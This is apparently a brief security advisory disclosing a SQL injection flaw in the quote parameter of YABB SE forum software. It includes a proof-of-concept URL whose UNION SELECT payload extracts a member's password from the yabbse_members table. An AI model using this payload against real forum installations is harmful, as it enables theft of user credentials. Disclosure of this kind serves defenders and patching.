|
YABB SE Quote Parameter SQL Injection Vulnerability
No exploit is required. The following proof of concept has been supplied: http://www.example.com/yabbse//index.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f2;action=post;threadid=1;title=Post+reply;quote=-12)+UNION+SELECT+passwd,null,null,nul l,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/* |
|
 Privacy Statement |
